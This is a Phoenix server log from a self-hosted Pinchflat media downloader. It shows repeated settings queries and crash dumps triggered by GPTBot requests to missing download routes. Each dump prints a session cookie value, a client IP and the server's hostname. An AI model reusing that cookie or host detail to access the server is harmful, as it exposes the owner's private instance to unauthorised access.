s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:32.952 [debug] QUERY OK source="settings" db=0.2ms idle=1296.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:32.952 [debug] QUERY OK source="settings" db=0.2ms idle=294.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:32.953 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:32.954 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:32.959 [info] Sent 200 in 10ms 02:17:43.785 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:54.870 [info] GET /sources/3/media/3299/force_download 02:17:54.871 [debug] QUERY OK source="settings" db=0.2ms idle=1170.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:54.871 [debug] QUERY OK source="settings" db=0.4ms idle=392.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:17:54.872 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:17:54.872 [error] #PID<0.239431.0> running PinchflatWeb.Endpoint (connection #PID<0.239430.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3299/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3299/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36528}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239431.0>, params: %{}, path_info: ["sources", "3", "media", "3299", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3299/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAek_xA_T_2-poABaHD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3299/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36528}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3299/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36528}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 02:18:00.244 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:13.787 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:15.366 [info] GET /sources/3/media/3302/force_download 02:18:15.367 [debug] QUERY OK source="settings" db=0.4ms idle=1626.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:15.368 [debug] QUERY OK source="settings" db=0.3ms idle=1580.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:18:15.368 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:18:15.368 [error] #PID<0.239434.0> running PinchflatWeb.Endpoint (connection #PID<0.239433.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3302/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239433.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 50140}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239434.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3302/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAemMHm557tbsQABaID"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239433.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 50140}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239433.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 50140}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 02:18:43.789 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.245 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:13.357 [info] GET /sources/3/media/3309/force_download 02:19:13.358 [debug] QUERY OK source="settings" db=0.4ms idle=1878.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:19:13.358 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1502.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:19:13.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:19:13.359 [error] #PID<0.239442.0> running PinchflatWeb.Endpoint (connection #PID<0.239441.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3309/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3309/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239441.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3309/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44974}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239442.0>, params: %{}, path_info: ["sources", "3", "media", "3309", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/3/media/3309/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAepkJuYooPYPYABaLD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239441.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3309/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44974}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3309/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239441.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3309/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 44974}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQTZielZwZkZ6WDF5am5QYVY1MWEwb28w.Tft0yZ3dA92dVF1133sv05itl8qrLJAxT50HpqeIlYc", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 02:19:13.791 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:43.793 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.246 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:13.768 [info] GET /sources/3/media/3301/force_download 02:20:13.769 [debug] QUERY OK source="settings" db=0.3ms idle=1289.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:13.769 [debug] QUERY OK source="settings" db=0.4ms idle=787.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:20:13.769 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:20:13.770 [error] #PID<0.239449.0> running PinchflatWeb.Endpoint (connection #PID<0.239448.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3301/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3301/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239448.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3301/force_download", host: 